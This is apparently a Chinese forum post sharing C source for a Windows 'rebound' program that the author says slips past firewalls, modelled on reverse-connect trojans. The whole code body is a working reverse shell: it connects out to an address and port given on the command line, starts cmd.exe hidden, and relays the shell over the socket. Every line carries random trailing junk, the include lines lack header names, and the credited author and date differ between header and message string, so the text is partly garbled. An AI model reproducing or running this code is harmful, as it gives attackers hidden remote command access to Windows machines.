这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r!+{In+Z
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/* ============================== TI8r/P?
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Rebound port in Windows NT 'gvR?[!t
By wind,2006/7 X!p`|i
===============================*/ ocFk#FW
#include Sk E <V0
#include }:Gs ,
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#pragma comment(lib,"wsock32.lib") o`,~#P|
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void OutputShell(); qyv=ot0"~F
SOCKET sClient; 0Gc@AG{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pL5cw=
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void main(int argc,char **argv) ,VHqZ'6
{ @kqxN\DE
WSADATA stWsaData; ?9kC[4G
int nRet; BG+i tyH
SOCKADDR_IN stSaiClient,stSaiServer; $2Whb!7Z(
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if(argc != 3) "FWx;65CR
{ Y @p<f5[c
printf("Useage:\n\rRebound DestIP DestPort\n"); p 1'l D
return; ,^1zG
} mK[Z#obc=
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WSAStartup(MAKEWORD(2,2),&stWsaData); motK}G
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n4/Wd?#`
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stSaiClient.sin_family = AF_INET; N)H "'#-
stSaiClient.sin_port = htons(0); XP:A"WK"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ('tXv"fT
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rG}e\ziKuj
{ 4,e'B-.
printf("Bind Socket Failed!\n"); }/F$73Xd
return; AJ bCC
} TI4Hu,rc
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stSaiServer.sin_family = AF_INET; ,U z8 _r
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]>t~Bcnm
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); LE\=Y;%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "XR=P>
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{ +?$J8Paf
printf("Connect Error!"); *Jd"3Si/
return; L~Gr,i
} #h5lz%2g
OutputShell(); `RL
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} uiVNz8H
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void OutputShell() V4:/LNq_]
{ Io1j%T#ZT
char szBuff[1024]; eQuu\/z*H
SECURITY_ATTRIBUTES stSecurityAttributes; 5#,H&ui\
OSVERSIONINFO stOsversionInfo; Vxh39eW
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]YgR
STARTUPINFO stStartupInfo; apo)cR
char *szShell; An{>39{
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; ]JrD@ Vy
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |O{N_-];.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K(EJ`2]:r
stSecurityAttributes.lpSecurityDescriptor = 0; h2ROQKL"B
stSecurityAttributes.bInheritHandle = TRUE; b=,BLe\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2:*15RH3
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m,k0 h%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ipu!{kJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S&_03
stStartupInfo.wShowWindow = SW_HIDE; 'D+xs}\
stStartupInfo.hStdInput = hReadPipe; rH3U;K!
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P`biHs8O
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GetVersionEx(&stOsversionInfo); ,/\`Rc^n
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switch(stOsversionInfo.dwPlatformId) o,*m,Qc
{ /Y#8.sr
case 1: ;@wa\H[3v2
szShell = "command.com"; )A8#cY!<
break; b`jR("U
default: :_8K8Sa
szShell = "cmd.exe"; ;m]V12
break; ZcN0:xU
} |+Y-i4t
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,:?ibE=
J,=K1>8s
send(sClient,szMsg,77,0); hX.cdt_?
while(1) uf6egm5]
{ _3`GZeGV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Jt_=aMY:7
if(lBytesRead) $*C
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{ d@Z DIy
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h4hAzFQ.s
send(sClient,szBuff,lBytesRead,0); T3wTMbZ!VK
} TO6F
else Y&6jFT_
{ {7:1F)Pj
lBytesRead=recv(sClient,szBuff,1024,0); 7{#p'.nc5
if(lBytesRead<=0) break; b~gq8,Fatb
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ynsYU(
} xV>
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} Wg|6{'a
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return; 5U2%X
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}